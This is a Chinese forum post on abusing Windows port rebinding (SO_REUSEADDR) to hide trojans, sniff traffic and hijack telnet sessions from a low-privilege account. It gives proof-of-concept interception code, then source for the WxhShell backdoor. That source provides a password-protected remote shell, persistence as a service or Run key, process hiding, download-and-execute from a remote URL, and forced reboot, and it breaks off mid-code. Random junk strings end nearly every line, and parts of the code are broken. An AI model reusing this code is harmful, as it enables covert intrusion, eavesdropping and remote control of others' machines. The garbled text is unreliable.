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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /hSEm.<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d6e$'w@(\T  
M2Jb<y]  
  saddr.sin_family = AF_INET; hem>@Bp'V  
n{I1ZlEeh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,L=lg,lH^  
: "^/?Sd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B|K^:LUk9  
%v4*$E!f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DX_?-jw})f  
VA5f+c/ %  
  这意味着什么?意味着可以进行如下的攻击: v^dQ%+}7>  
1hY%Zsj C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &~:+2  
wx8Qz,Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &!F"3bD0  
Ou`;HN;[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \0n<6^y  
&Jd_@F#J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dUL*~%2I  
FQ>y2n=<d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9]vy#a#  
ye-[l7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `ES+$O>  
`96MXP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (#BOcx5J]  
dpvEY(Ds  
  #include A|( !\J0  
  #include 39~te%;C7  
  #include BtrMv6  
  #include    Q7]bUPDO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GuC 9h^[=M  
  int main() mwutv8?  
  { =I0J1Ob  
  WORD wVersionRequested; T"3:dkQw  
  DWORD ret; !0_/=mA^  
  WSADATA wsaData; M(1cf(<+  
  BOOL val; n_(f"U v  
  SOCKADDR_IN saddr; >d(:XP6J  
  SOCKADDR_IN scaddr; uO>pl37@  
  int err; cB)tf S4)  
  SOCKET s; I9e3-2THfj  
  SOCKET sc; J1w,;T\55  
  int caddsize; seVT| z  
  HANDLE mt; 5<M$ XT  
  DWORD tid;   +;,X?E]g  
  wVersionRequested = MAKEWORD( 2, 2 ); %\L{Ud%7  
  err = WSAStartup( wVersionRequested, &wsaData ); RI<&cgWn+<  
  if ( err != 0 ) { R*?!xDJ  
  printf("error!WSAStartup failed!\n"); ^Y%<$IFG  
  return -1; - "EPU]q  
  } vdh[%T,&  
  saddr.sin_family = AF_INET; V 4&a+MJ@  
   %]1te*_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |]~],  
oB(9{6@N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #O{cplh,  
  saddr.sin_port = htons(23); w"O{@2B3:H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^{YK'60  
  { {v"Y!/ [z  
  printf("error!socket failed!\n"); Jn%Etz-  
  return -1; e8M0Lz#}  
  } DVt^O [  
  val = TRUE; #qARcxbK|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _>bk'V7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TK0WfWch  
  { 7m%[$X`  
  printf("error!setsockopt failed!\n"); Nza@6nI"  
  return -1; T7|=`~  
  } E#Ol{6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +,Or^p O=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dsOt(yNo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?zf3AZ9  
uPC(|U%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >S8 n 8U  
  { b4f3ef  
  ret=GetLastError(); -q(*)N5.2  
  printf("error!bind failed!\n"); 2St<m-&  
  return -1; h8 FV2"  
  } >2F9Tz,3  
  listen(s,2); =?_:h`}  
  while(1) j`+{FCB7  
  { 9Wg;M#c2Y|  
  caddsize = sizeof(scaddr); j'OXT<n*  
  //接受连接请求 IgRi(q^b-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P4LiU2C  
  if(sc!=INVALID_SOCKET) 4|4 *rhwp  
  { e jR_3K^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2PSkLS&IM  
  if(mt==NULL) fCZ"0P3(  
  { ,J=lHj  
  printf("Thread Creat Failed!\n"); ac6@E4 _  
  break; f\r"7j  
  } ("YWJJ'H  
  } 1<cx!=w'  
  CloseHandle(mt); ; K,5qs  
  } }=JS d@`_  
  closesocket(s); A H=%6oT2  
  WSACleanup(); Xpv<v[a  
  return 0; -zWNQp$  
  }   B)/c]"@89  
  DWORD WINAPI ClientThread(LPVOID lpParam) qO/3:-  
  { f@q.kD21  
  SOCKET ss = (SOCKET)lpParam; v2a(yH  
  SOCKET sc; i'10qWz  
  unsigned char buf[4096]; Hy -)yR  
  SOCKADDR_IN saddr; 138v{Z  
  long num; TRJTJM_k  
  DWORD val; M`7[hr  
  DWORD ret; ,Vl2U"   
  //如果是隐藏端口应用的话,可以在此处加一些判断 )L7[;(gQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @ 'c(q=K;  
  saddr.sin_family = AF_INET; 2jlz#Sk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XB@i{/6K  
  saddr.sin_port = htons(23); l5]R*mR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CpK:u! Dn  
  { I!}V+gu=  
  printf("error!socket failed!\n"); eCWF0a  
  return -1; x iz+ R9p  
  } p&#ju*i6z  
  val = 100; &g>M Z" Z|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R+!oPWfb  
  { m 2/S(f  
  ret = GetLastError(); Udf\;G@  
  return -1; B.KK@  
  } CEBu[TT/9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O9m sPb:  
  { zo("v*d*q  
  ret = GetLastError(); #DARZhU)  
  return -1; m%UF{I,  
  } '+ mI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 66sgs16k  
  { feH&Ug4?G  
  printf("error!socket connect failed!\n"); g-,lY|a  
  closesocket(sc); WncHgz  
  closesocket(ss); f,|;eF-Z  
  return -1; Y^C(<N$  
  } )T?BO  
  while(1) OH@gwC  
  { _\8E/4zh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -SLk8x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _zzT[}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,L<x=Dg  
  num = recv(ss,buf,4096,0); G(wstHT;/  
  if(num>0) 2Dt^W.!  
  send(sc,buf,num,0); AZ4:3}  
  else if(num==0) ^uphpABpD  
  break; Z15 =vsV  
  num = recv(sc,buf,4096,0); 5q'b M  
  if(num>0) r\}?HS06  
  send(ss,buf,num,0); etUfdZ  
  else if(num==0) Pa#Jwo  
  break; X}5"ZLa7l  
  } Yakrsi/jV}  
  closesocket(ss); UtC<TBr  
  closesocket(sc); \ So)g)K  
  return 0 ; P[$idRS&  
  } }'86hnW  
Z\]LG4N?  
6xY6EC  
========================================================== }eI9me@Aa  
eu8a<  
下边附上一个代码,,WXhSHELL f:y:: z  
B.smQt  
========================================================== MRZN4<}9  
ZsCwNZR  
#include "stdafx.h" Nf2lw]-G4  
b|G~0[g  
#include <stdio.h> :7X{s4AU6  
#include <string.h> Vq/hk  
#include <windows.h> 1|s` z  
#include <winsock2.h> 0v6Z 4Ahpo  
#include <winsvc.h> $ %|b6Gr/&  
#include <urlmon.h> ;CoD5F!  
T00sYoK  
#pragma comment (lib, "Ws2_32.lib") ~IPATG  
#pragma comment (lib, "urlmon.lib") U%Hcc k'  
;Jb% 2?+=!  
#define MAX_USER   100 // 最大客户端连接数 PMX'vA`  
#define BUF_SOCK   200 // sock buffer m(dW["8D  
#define KEY_BUFF   255 // 输入 buffer fZS'e{V  
keKsLrd  
#define REBOOT     0   // 重启 <0m^b#hdG  
#define SHUTDOWN   1   // 关机 >WJQxL4  
}6 u)wF5  
#define DEF_PORT   5000 // 监听端口 wuxOFlrg  
r+6 DlT a  
#define REG_LEN     16   // 注册表键长度 @3 +   
#define SVC_LEN     80   // NT服务名长度 q4'`qe  
??|,wIRz  
// 从dll定义API ^^24a_+2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d_f*'M2Gv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (&V)D?/hS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |Q@(<'8=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ftRdK>a D  
=Lb(N61  
// wxhshell配置信息 /UY'E<wBx  
struct WSCFG { BT^=p  
  int ws_port;         // 监听端口 nB[B FVkU  
  char ws_passstr[REG_LEN]; // 口令 0S }\ML  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4PR&67|AH_  
  char ws_regname[REG_LEN]; // 注册表键名 V?>&9D"m  
  char ws_svcname[REG_LEN]; // 服务名 MSp) Jc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F x$W3FIO]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YACx9K H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 blP8"(U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NXz/1ut%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  BPKrRex  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >{A)d<  
iAPGP -<6  
}; \{Je!#  
Lm.N {NV'  
// default Wxhshell configuration ;*U&lT  
struct WSCFG wscfg={DEF_PORT, &|Rww\oJ  
    "xuhuanlingzhe", 7fd,I%v  
    1, 9"L!A,&'  
    "Wxhshell", o4j!:CI  
    "Wxhshell", L$ ^ew0C  
            "WxhShell Service", v}z^M_eFm  
    "Wrsky Windows CmdShell Service", %m/5! "  
    "Please Input Your Password: ", 9Uz2j$p7  
  1, {A%&D^o)  
  "http://www.wrsky.com/wxhshell.exe", u@+^lRGFh  
  "Wxhshell.exe" hOs~/bM  
    }; .)1u0 (?  
{}gL*2:EW$  
// 消息定义模块 *IF ~ab2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $RHw6*COG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V' i@N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <h<_''+  
char *msg_ws_ext="\n\rExit."; !+YSc&R_fW  
char *msg_ws_end="\n\rQuit."; 1gvh6eE F  
char *msg_ws_boot="\n\rReboot..."; hh.`Yu L  
char *msg_ws_poff="\n\rShutdown..."; B{S^t\T$  
char *msg_ws_down="\n\rSave to "; ]n'.}"8Kn  
nDLiER;U  
char *msg_ws_err="\n\rErr!"; %x}Unk  
char *msg_ws_ok="\n\rOK!"; jH;L7  
^L\w"`,~  
char ExeFile[MAX_PATH]; up~p_{x)Q  
int nUser = 0; Y[m*  
HANDLE handles[MAX_USER]; 4 'vjU6gW  
int OsIsNt;  j~cG#t]  
%+;amRb  
SERVICE_STATUS       serviceStatus; @kba^z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 41rS0QAM  
&`-e; Xt  
// 函数声明 V4W(> g  
int Install(void); WS1Y maV  
int Uninstall(void); DIhV;[\  
int DownloadFile(char *sURL, SOCKET wsh); p}K+4z   
int Boot(int flag); jCg4$),b  
void HideProc(void); xyXVWd[  
int GetOsVer(void); 'g} Q@@b  
int Wxhshell(SOCKET wsl); q%1B4 mF'  
void TalkWithClient(void *cs); wLg@BSC.  
int CmdShell(SOCKET sock); Y]B9*^d<  
int StartFromService(void); [Z1,~(3  
int StartWxhshell(LPSTR lpCmdLine); fq):'E)  
bQu@.'O!k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )o&}i3~Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >{0,dGm  
N~(?g7  
// 数据结构和表定义 /de~+I5AB~  
SERVICE_TABLE_ENTRY DispatchTable[] = 8p/&_<mnW  
{ hsI9{j]f  
{wscfg.ws_svcname, NTServiceMain}, 8lCo\T5"  
{NULL, NULL} vv`53 Pbw)  
}; ;jlI>;C;V  
<#T #+uO  
// 自我安装 #,!/Cnqis  
int Install(void) !Pd)  
{ e4.G9(  
  char svExeFile[MAX_PATH]; :<1PCX2  
  HKEY key; =RlAOgJ  
  strcpy(svExeFile,ExeFile); >k~3W> D  
)S@TYzdAN  
// 如果是win9x系统,修改注册表设为自启动 1nE`Wmo.2  
if(!OsIsNt) { "`[4(j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =}F$r5]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qx?0]!x  
  RegCloseKey(key); Bv6~!p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { """eU,"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E1qf N>0Z  
  RegCloseKey(key); 9; aOUs:<  
  return 0; X}&Y(kOT  
    } gzyi'K<  
  } >kDkvg1"  
} Cv]$w(k  
else { sB'~=1m^  
d! _8+~  
// 如果是NT以上系统,安装为系统服务 r+h$]OJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dQNW1-s  
if (schSCManager!=0) 1%N[DA^<\  
{ jF{\=&fU  
  SC_HANDLE schService = CreateService ksAu=X:  
  ( njb{   
  schSCManager, "?"+1S  
  wscfg.ws_svcname, O[9A}g2~  
  wscfg.ws_svcdisp, ,sp((SF]1  
  SERVICE_ALL_ACCESS, qa?0GTAS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V24FzQ?z:.  
  SERVICE_AUTO_START, ]sB%j@G  
  SERVICE_ERROR_NORMAL, a7la CHI  
  svExeFile, :HH3=.qAp`  
  NULL, ey U*20  
  NULL, /@LUD=  
  NULL, =UZQ` {  
  NULL, v-B&"XGy:  
  NULL 1?".R]<{2T  
  ); 1X#gHstD  
  if (schService!=0) N[xa=  
  { j[:Iu#VR  
  CloseServiceHandle(schService); &W>%E!F  
  CloseServiceHandle(schSCManager); @dvb%A&Pur  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }#`-mRaU  
  strcat(svExeFile,wscfg.ws_svcname); g+KuK`\N%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mqmy*m[U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V_=7q=9mV  
  RegCloseKey(key); A_|X54}w&  
  return 0; Twk,R. O  
    } VyOpPIP  
  } 6" GHVFB  
  CloseServiceHandle(schSCManager); bN>|4hS  
} ?T8^tGD[  
} 5?Rzyfwk|  
V<t!gT#&o!  
return 1; SD1M`PI  
} a]?o"{{+  
'w`9lIax  
// 自我卸载 Q^oB`)k  
int Uninstall(void) p+xjYU4^C  
{ e>b|13X  
  HKEY key; .^[{~#Pc*  
oP`Qyk  
if(!OsIsNt) { XWf1c ~J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Cq"Szs  
  RegDeleteValue(key,wscfg.ws_regname); o[ 4e_ @E  
  RegCloseKey(key); tS3{y*yi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dZ,~yV  
  RegDeleteValue(key,wscfg.ws_regname); w\5;;9_#  
  RegCloseKey(key); 9S<at MB  
  return 0; !<4=@  
  } SG-Xgr@  
} rSNaflYAr  
} RhSoD.Da  
else { [?Vk wFD0  
=_vW7-H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M}N[> ,2'  
if (schSCManager!=0) 3;wOA4ur  
{ bA(-7l?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @[hD;xO  
  if (schService!=0) ^wb$wtL('  
  { w72\'  
  if(DeleteService(schService)!=0) { k\}\>&Zqu  
  CloseServiceHandle(schService); N/r8joi#  
  CloseServiceHandle(schSCManager); aQL$?,  
  return 0; ^7V{nT@H3  
  } $5J~4B"%3  
  CloseServiceHandle(schService); I{uwT5QT-  
  } H.!\j&4j  
  CloseServiceHandle(schSCManager); Bx ru7E"  
} &>3 AL,  
} Og9:MFI  
vptBDfzz  
return 1; _"S1>s)X?j  
} fO 6Jug  
y"Jma`Vjq  
// 从指定url下载文件 W=!di3IA  
int DownloadFile(char *sURL, SOCKET wsh) '2xfU  
{ *.A{p ;JC(  
  HRESULT hr; !)LVZfQ0  
char seps[]= "/"; 9wpV} .(  
char *token; ,g{Ob{qT  
char *file; 75*q^ui  
char myURL[MAX_PATH]; # 4;(^`?  
char myFILE[MAX_PATH]; 9=p/'d8  
vALH!Kh  
strcpy(myURL,sURL); L31#v$;4  
  token=strtok(myURL,seps); ]5:0.$5  
  while(token!=NULL) 8\$ u/(DX  
  { m 9.BU2.  
    file=token; *QP+p,L*  
  token=strtok(NULL,seps); jLF,R7t  
  } mD go@ f  
wdQ%L4l  
GetCurrentDirectory(MAX_PATH,myFILE); E}8wnrxf  
strcat(myFILE, "\\"); {9<c*0l  
strcat(myFILE, file); +L|-W9"@3  
  send(wsh,myFILE,strlen(myFILE),0); %p8#pt\$7  
send(wsh,"...",3,0); w)xfP^M#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m53~Ysq<  
  if(hr==S_OK) d9.~W5^fC  
return 0; m-MfFEZ  
else "aJf W  
return 1; tIL ]JB  
th`pf   
} }BJR/r  
D;+sStZK3  
// 系统电源模块 +$ 0wBU  
int Boot(int flag) K)s{D ] B  
{ /=S\v<z  
  HANDLE hToken; &v g[k#5  
  TOKEN_PRIVILEGES tkp; 8m 5T  
-^&NwLEv=  
  if(OsIsNt) { HAdDr!/`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YzeNr*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ID8u&:  
    tkp.PrivilegeCount = 1; U\x $@J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1Y(NxC0P=g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F$te5 ` a  
if(flag==REBOOT) { K%WG[p\Eu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q ?R3aJ  
  return 0; 0vrx5E!  
} +CXtTasP  
else { n+SHkrW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  -wQ@z6R  
  return 0; nIf~ds&TT  
} ANq3r(  
  } GtpBd40"  
  else { -X_dY>>s  
if(flag==REBOOT) { 9|qzFmE#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rIQ%X`Y  
  return 0; AY_GD ^  
} D&!c7_^  
else { hK 1 H'~c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K2!GpGZu  
  return 0; x<\5Jrqt  
} Df.eb|[{  
} OZ6:u^OS]  
xt1Ug~5  
return 1; pmgPBiU>  
} ~UQX t r  
LW!>_~g-  
// win9x进程隐藏模块 %abc -q  
void HideProc(void) v?(z4oOD/>  
{ (DY&{vudF  
]\(Ho  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \IO<V9^L  
  if ( hKernel != NULL ) AfvIzsT0  
  { \%|%C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sMgRpem;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O 4'/C]B 2  
    FreeLibrary(hKernel); Ox9M![fC  
  } UOn:@Qn  
e3,@prr  
return; n<e1=L  
} WYd9p;k  
r2T$ ;m.  
// 获取操作系统版本 vq:?a  
int GetOsVer(void) 0^K2"De  
{ a[@Y >  
  OSVERSIONINFO winfo; rk &ME#<r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7\[)5j  
  GetVersionEx(&winfo); u{LtyDnik  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i$lp8Y2ih  
  return 1; 4)?s?+  
  else RwUosh\W  
  return 0; TW-^C ;  
} N^4CA@'{  
|o<c`:;kt  
// 客户端句柄模块 sQBKzvFO3  
int Wxhshell(SOCKET wsl) Q PrP3DK  
{ I+W:}}"j  
  SOCKET wsh; k|`Qk!tr  
  struct sockaddr_in client; ti!kJ"q  
  DWORD myID; 2B b,ZC*  
Hq#q4Y  
  while(nUser<MAX_USER) ]DjnzClx  
{ Scfe6+\EW  
  int nSize=sizeof(client); </!GU*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E?S  
  if(wsh==INVALID_SOCKET) return 1; ^j7>Ul,  
*JF7 B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `Gh J)WA<  
if(handles[nUser]==0) pU1miA '  
  closesocket(wsh); I(>j"H)cAF  
else m ;yIFO  
  nUser++; 3v ~[kVhoG  
  } Q'rgh+6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lP *p7Y '  
Og7^7))  
  return 0; M}]4tAyT  
} N"s"^}M\  
Jw0I$W/  
// 关闭 socket wizLA0W  
void CloseIt(SOCKET wsh) eI98J"h%?  
{ @*BVS'\  
closesocket(wsh); z||FmL{  
nUser--; lC@wCgc  
ExitThread(0); `*3;sq%`  
} x27$h)R0v  
;$3e pP  
// 客户端请求句柄 T_[  
void TalkWithClient(void *cs) `6<Qb=  
{ <Vl`EfA(  
<l5s[  
  SOCKET wsh=(SOCKET)cs; Cd|rDa  
  char pwd[SVC_LEN]; 80K"u[  
  char cmd[KEY_BUFF]; eW;c 3<  
char chr[1]; r4Xaa<  
int i,j; S 9|^VU  
{01^xn.  
  while (nUser < MAX_USER) { M[P1hFuna  
.rQcg.8/B  
if(wscfg.ws_passstr) { N?IdaVLj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mYbu1542'n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wRg[Mu,Q5  
  //ZeroMemory(pwd,KEY_BUFF); e!vWGnY  
      i=0; kRV]`'u,  
  while(i<SVC_LEN) { mc4|@p*  
39A|6>-?  
  // 设置超时 lib}dk  
  fd_set FdRead; ET(/h/r  
  struct timeval TimeOut; cZ3A~dTOR  
  FD_ZERO(&FdRead); A3|2;4t  
  FD_SET(wsh,&FdRead); mbHMy[R  
  TimeOut.tv_sec=8; sl`?9-_[  
  TimeOut.tv_usec=0; ~( :$c3\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KQ ^E\,@o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SgkW-#  
i ^, $/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bf;<3k)5.  
  pwd=chr[0]; P|ftEF  
  if(chr[0]==0xd || chr[0]==0xa) { 8S5Q{[!  
  pwd=0; J^!wk9q  
  break; k ~4o`eA  
  } E {UhM q7  
  i++; .  LeS-  
    } 2 ,krVb?<  
?*6Q ;.f<  
  // 如果是非法用户,关闭 socket BwAmNW&i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {vk%&{D0)  
} N'0nt]&a  
\H 5t-w=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8%p+:6kP5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ),H1z`c&I  
E:;MI{;7  
while(1) { ~MP/[,j`  
EqOhzII^  
  ZeroMemory(cmd,KEY_BUFF); loUZD=Ph  
Oj8D+sC{  
      // 自动支持客户端 telnet标准   $`P]%I}  
  j=0; :lu"14  
  while(j<KEY_BUFF) { bI8')a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #mD_<@@  
  cmd[j]=chr[0]; U+aiH U9  
  if(chr[0]==0xa || chr[0]==0xd) { &{q<  
  cmd[j]=0; t"OP*  
  break; $ago  
  } fKO@Qx]  
  j++; KN&|&51p}  
    } 5Rp mR  
8:2Vib$  
  // 下载文件 uX6p^KNm5  
  if(strstr(cmd,"http://")) { *VUJ);7k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JW"`i   
  if(DownloadFile(cmd,wsh)) }GHC u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?5F;4 oR2g  
  else 3 K q /V_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ru|*xNXKgC  
  } h-x~:$Z,  
  else { x4,[5N"}YK  
9P*f  
    switch(cmd[0]) { Pa"Kk9!o36  
  Yp\Y]pym  
  // 帮助 ?1r<`o3l\  
  case '?': { eI%k xqc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &q M8)2Y  
    break; (M{>9rk8  
  } . BX*C  
  // 安装 TaF;P GjVw  
  case 'i': {  QB !%  
    if(Install()) lqa~ZF*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  bDD29  
    else Bn.5ivF3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6PC?*^v  
    break; d%K{JkD-  
    } (iIzoEpb8W  
  // 卸载 x:h)\%Dg<  
  case 'r': { c2L\m*^o  
    if(Uninstall()) !#W3Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FF0~i+5  
    else |:,`dQfw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /lhk} y^  
    break; ^z~drcR  
    } 1 |/ |Lq%w  
  // 显示 wxhshell 所在路径 h")7kjM  
  case 'p': { \7%wJIeyx  
    char svExeFile[MAX_PATH]; HVzkS|^F  
    strcpy(svExeFile,"\n\r"); P@% L.y B  
      strcat(svExeFile,ExeFile); jy_4W!4a  
        send(wsh,svExeFile,strlen(svExeFile),0); C0 /G1\  
    break; ='@ k>Ka+  
    } rq1zvuUx  
  // 重启 oFT1d  
  case 'b': { )1$H 7|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JIqg[Mao  
    if(Boot(REBOOT)) K3h"oVn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y\[q2M<  
    else { d[nz0LI|mk  
    closesocket(wsh); U* uMMb}$  
    ExitThread(0); b *3h}n;  
    } \HQ.Pwr 6  
    break; Ocn@JOg  
    } QL2 `X2  
  // 关机 ly6 dl  
  case 'd': { B\qy:nr j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >/NegJh'F}  
